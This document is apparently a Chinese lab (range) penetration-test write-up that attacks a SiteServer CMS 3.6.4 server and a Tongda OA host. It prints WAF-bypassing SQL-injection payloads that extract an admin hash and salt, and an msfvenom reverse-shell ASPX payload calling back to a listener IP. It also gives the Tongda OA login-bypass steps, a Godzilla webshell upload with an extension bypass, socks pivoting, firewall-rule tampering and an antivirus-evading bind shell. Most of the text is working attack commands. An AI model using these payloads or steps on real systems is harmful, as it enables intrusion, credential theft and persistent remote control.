前言
这个靶场因为环境问题,导致我没拿到域控。笑死,就算把防火墙等等防护软件都关了。ping都ping不通dc,也就不了了之。靶机下载,密码:3p47。暗月师傅亲自讲解视频。
网络拓扑图
信息搜集
web服务器扫到如下端口
21/tcp open ftp Microsoft ftpd
80/tcp open http Microsoft IIS httpd 10.0
999/tcp open http Microsoft IIS httpd 10.0
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
6588/tcp open http Microsoft IIS httpd 10.0
打开http://www.moonlab.com/
,后发现是空白页面。而对方使用了安全狗,所以目录扫描时速度不能太快,不然会被封。
这里使用dirble,dirble.exe -u http://www.moonlab.com/ -w "ASPX.TXT" -z 1 --code-whitelist 200
查看http://www.moonlab.com/robots.txt
,存在SiteServer
访问SiteServer
,cms版本为3.6.4
,官网现在都是v7版本了,这套版本非常古老了
getshell
3.6.4有非常多的漏洞,比如 http://www.moonlab.com/UserCenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20@@version=2;%20–,存在sql注入。
参考mssql注入bypass安全狗这篇文章后,轻松绕过安全狗。
获取当前数据库名test') and db_name()=~1; --
,得到msmoonlab
有个小技巧,获取其他数据库名只需要改为db_name(数字)
,比如获取第一个数据库名test') and db_name(1)=~1; --
,一直这样遍历下去就可以获取所有数据库
SiteServer CMS的表结构说明,有了表结构,直接查管理员用户名和密码
用户名:admin
payload test') and ~1=(select top 1 UserName from [bairong_Administrator]); --
密码:64Cic1ERUP9n2OzxuKl9Tw==
payload test') and ~1=(select top 1 Password from [bairong_Administrator]); --
密钥:LIywB/zHFDTuEA1LU53Opg==
payload test') and ~1=(select top 1 PasswordSalt from [bairong_Administrator]); --
这还要解密,于是另辟蹊径,参考此文章siteserver cms获取管理员密码。成功复现。
进入后台来到功能管理->站点文件管理,点击web文件夹
点击T_xxx.aspx,发现可以编辑内容
msf生成aspx马,msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.128 LPORT=4444 -f aspx -o shell.aspx
。
将木马内容复制过去后保存
msf启动监听器
msf5 > handler -H 192.168.0.128 -P 4444 -p windows/meterpreter/reverse_tcp
成功上线
代理与路由转发
使用run post/multi/manage/autoroute
,开启路由转发功能
使用run arp_scanner -r 10.10.1.0/24
,竟然连web的机器都漏扫了
msf的主机发现功能属实拉了,还得看cs的主机发现
在beacon上输入socks 7169
,开启socks4代理
回到kali,vi /etc/proxychains4.conf
,配置socks4代理
使用proxychains nmap -Pn -sT -p80,22,135,445,155,3389,3306 10.10.1.130 --open
,就能用nmap扫描端口了,这也算个扩展内容吧。
火狐设置好代理,端口号和下面的socks协议一定不要错
通达OA漏洞
通达OA有个任意用户登录漏洞
先来到火狐代理配置,要让http的流量给burp,所以http处也要配置与burp监听端口一致。
点击登录后抓包,需修改以下三个地方: /logincheck.php改成/logincheck_code.php,删除cookie在post包中添加UID=1
再点击Forward放包后,会来到此界面
直接访问http://10.10.1.130/general/index.php
进后台
先用哥斯拉生成php webshell马子
密码和密钥和加密器都可以自定义
然后来到系统管理->附件管理->添加存储目录,并且勾选将所有新附件存至该目录。
选择 组织->管理员->附件上传
上传刚刚哥斯拉生成的木马,在后缀名后要加个.
来绕过限制。得到id255@2110_1936760311
和name2.php.*
木马的路径为http://10.10.1.130/im/2110/1936760311.2.php
现在要用哥斯拉连接木马,而哥斯拉的代理只支持socks5和http代理,所以还要配置socks5代理。
来到msf使用use auxiliary/server/socks_proxy
,我使用的msf6版本,各个版本配置不一样
哥斯拉点击目标-添加
我将哥斯拉安装到win10。所以这里的代理主机是kali的ip。代理类型选择SOCKS,而密码和密钥还有加密器要和前面生成的保持一致。
成功连上后,执行命令是system权限,发现有360。
如果终端出现乱码,换个其他的编码即可
使用netsh advfirewall show allprofiles
查看防火墙状态,开启了防火墙
来到msf上面的web session上,先输入chcp 65001
,解决终端乱码问题。查看web机上防火墙的状态,也是开启了防火墙。
像这种双方都开启防火墙的情况下,如果不做任何处理,正向和反向连接都不能上线。这里我准备正向连接上线。
先到oa上输入netsh advfirewall firewall add rule name="web3" protocol=TCP dir=in localport=7879 action=allow
,意思是添加一个入站名叫web3,允许tcp端口7879入站。
这里我执行后,出现了这种情况
回到OA虚拟机上执行命令试试,正确执行
netsh firewall show config
查看防火墙配置,再次验证前面的命令是正确的。
这个查了查没找到啥原因,那这样的话,有以下解决办法
1.在web机上设置防火墙策略,允许xxx端口进站,oa反向连接上线
2.使用 netsh advfirewall set allprofiles state off 关闭防火墙,oa正向连接上线
3.添加防火墙放行程序
我现在要正向连接上线,选择动静最小的第3点。
生成正向连接木马msfvenom -p windows/meterpreter/bind_tcp LPORT=6666 -f exe -o 1.exe
并做好免杀
我将木马上传到了c:\1.exe
把c:\1.exe
添加进防火墙放行程序netsh firewall set allowedprogram C:\1.exe A ENABLE
,查看防火墙放行程序netsh firewall show allowedprogram
msf正向监听
msf6 exploit(multi/handler) > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set rhost 10.10.1.130
msf6 exploit(multi/handler) > set lport 6666
msf6 exploit(multi/handler) > run
执行上线
到这里打靶结束,没拿域控的原因看前言吧。。。。。。。
感谢文章和工具
dirble
mssql注入bypass安全狗
SiteServer CMS的表结构说明
通达OA前台任意用户登录漏洞+RCE漏洞复现
通达OA后台getshell
Godzilla
windows 下查看防火墙状态命令